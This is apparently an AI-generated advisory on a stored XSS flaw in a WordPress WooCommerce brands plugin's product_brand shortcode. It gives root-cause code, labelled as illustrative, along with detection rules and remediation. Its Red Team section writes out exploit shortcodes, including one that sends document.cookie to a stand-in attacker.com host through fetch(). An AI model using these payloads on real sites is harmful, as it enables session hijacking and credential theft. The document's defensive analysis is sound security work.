CVE-2024-11746

Executive Summary

CVE-2024-11746 is a Stored Cross-Site Scripting (XSS) vulnerability in the Yaycommerce "Discover the Best Woocommerce Product Brands Plugin for WordPress – Woocommerce Brands Plugin" (plugin slug: woocommerce-brands). The flaw exists in all versions up to and including 1.3.2, within the product_brand shortcode. Insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators or site visitors) accesses a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress plugin, it is part of the WordPress supply chain. Users should verify the integrity of the plugin by checking its checksum against the WordPress.org repository and ensure no unauthorized modifications have been made. The plugin's readme.txt and version history should be reviewed for any signs of tampering.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – the vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – attacker needs Contributor-level access.
• User Interaction (UI): Required – victim must visit the injected page.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): None – no impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation (e.g., stealing admin cookies) raises the risk.

Deep Dive & Mechanics

The vulnerability resides in the product_brand shortcode handler. The plugin registers a shortcode that accepts user-supplied attributes (e.g., brand, style, class). These attributes are not properly sanitized or escaped before being rendered in the HTML output.

Root Cause:

• The plugin uses shortcode_atts() to merge user attributes with defaults but does not apply esc_attr() or wp_kses() to the attribute values.
• The shortcode output is generated using something like echo '<div class="' . $atts['class'] . '">' . $brand_name . '</div>'; without escaping $atts['class'].

Attack Flow:

1. An attacker with Contributor-level access creates a new post or page.
2. The attacker inserts the [product_brand] shortcode with a malicious attribute, e.g., [product_brand class="xss" onmouseover="alert(1)"].
3. The plugin renders the shortcode, outputting <div class="xss" onmouseover="alert(1)">BrandName</div>.
4. When a user (including admins) hovers over the element, the JavaScript executes.

Why Stored XSS? The malicious shortcode is stored in the WordPress database as part of the post content. Every time the post is viewed, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.3.2):

// In woocommerce-brands.php or similar
function product_brand_shortcode($atts) {
    $atts = shortcode_atts(array(
        'brand' => '',
        'class' => '',
    ), $atts);
    
    $brand_name = get_term_by('slug', $atts['brand'], 'product_brand');
    if (!$brand_name) return '';
    
    // Vulnerable: no escaping on $atts['class']
    return '<div class="' . $atts['class'] . '">' . esc_html($brand_name->name) . '</div>';
}
add_shortcode('product_brand', 'product_brand_shortcode');

Patched Code (hypothetical fix):

function product_brand_shortcode($atts) {
    $atts = shortcode_atts(array(
        'brand' => '',
        'class' => '',
    ), $atts);
    
    $brand_name = get_term_by('slug', $atts['brand'], 'product_brand');
    if (!$brand_name) return '';
    
    // Fixed: escape the class attribute
    $safe_class = esc_attr($atts['class']);
    return '<div class="' . $safe_class . '">' . esc_html($brand_name->name) . '</div>';
}
add_shortcode('product_brand', 'product_brand_shortcode');

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with WooCommerce and the vulnerable plugin (<=1.3.2) installed.
• Attacker account with Contributor-level privileges.

Step-by-Step Exploit:

1. Log in as a Contributor.
2. Create a new post or page.
3. In the content editor (Text mode), insert the following shortcode:

   [product_brand brand="any-brand" class="xss" onmouseover="alert(document.cookie)"]
   

   Replace any-brand with an actual brand slug (e.g., nike).
4. Publish the post.
5. As a victim (e.g., admin), visit the post.
6. Hover over the brand element to trigger the XSS.

Advanced Payload:

[product_brand brand="nike" class="xss" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="autofocus"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing [product_brand with suspicious attributes (e.g., onmouseover, onclick, onerror).
• Use a Web Application Firewall (WAF) to block requests containing <script or event handlers in shortcode attributes.

Hardening:

• Disable the plugin until a patch is released.
• Restrict Contributor-level users from using shortcodes via a plugin like "Shortcodes Finder" or by modifying capabilities.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/woocommerce-brands/woocommerce-brands.php (version <= 1.3.2)
• Database: Posts/pages containing [product_brand with attributes like onmouseover, onclick, onerror, onfocus, onload, onchange, onsubmit, onreset, onselect, onblur, onkeydown, onkeypress, onkeyup.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin or frontend.
• Logs: WordPress debug log entries showing unexpected shortcode attribute values.

Detection Engineering

YARA Rule

rule CVE_2024_11746_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting CVE-2024-11746 in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11746"
    strings:
        $shortcode = /\[product_brand\s+[^\]]*?(on\w+\s*=|class\s*=\s*["'][^"']*?["']\s+on\w+\s*=)/ nocase
        $event_handler = /on(mouseover|click|error|focus|load|change|submit|reset|select|blur|keydown|keypress|keyup)\s*=\s*["']/ nocase
    condition:
        $shortcode or $event_handler
}

Sigma Rule

title: CVE-2024-11746 Stored XSS via product_brand Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts using the product_brand shortcode in WordPress
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11746
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'product_brand'
        cs-uri-query|re: 'on\w+\s*='
    condition: selection
falsepositives:
    - Legitimate use of shortcode attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11746 Stored XSS via product_brand shortcode"; flow:to_server,established; content:"product_brand"; http_uri; pcre:"/\[product_brand\s+[^\]]*?(on\w+\s*=|class\s*=\s*["'][^"']*?["']\s+on\w+\s*=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete woocommerce-brands until a patched version is released.
2. Audit existing content – Search the database for posts/pages containing [product_brand with suspicious attributes. Use a query like:

   SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%[product_brand%' AND post_content REGEXP 'on(mouseover|click|error|focus|load|change|submit|reset|select|blur|keydown|keypress|keyup)\s*=';
   

3. Remove malicious content – Delete or sanitize any posts containing XSS payloads.

Long-Term Fixes:

• Vendor patch – Apply the official patch when released.
• Custom patch – If you have developer access, modify the shortcode handler to escape all attributes using esc_attr().
• WordPress hardening – Use a security plugin (e.g., Wordfence, Sucuri) to block XSS attempts.
• User role management – Restrict Contributor-level users from using shortcodes or limit their ability to publish content.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.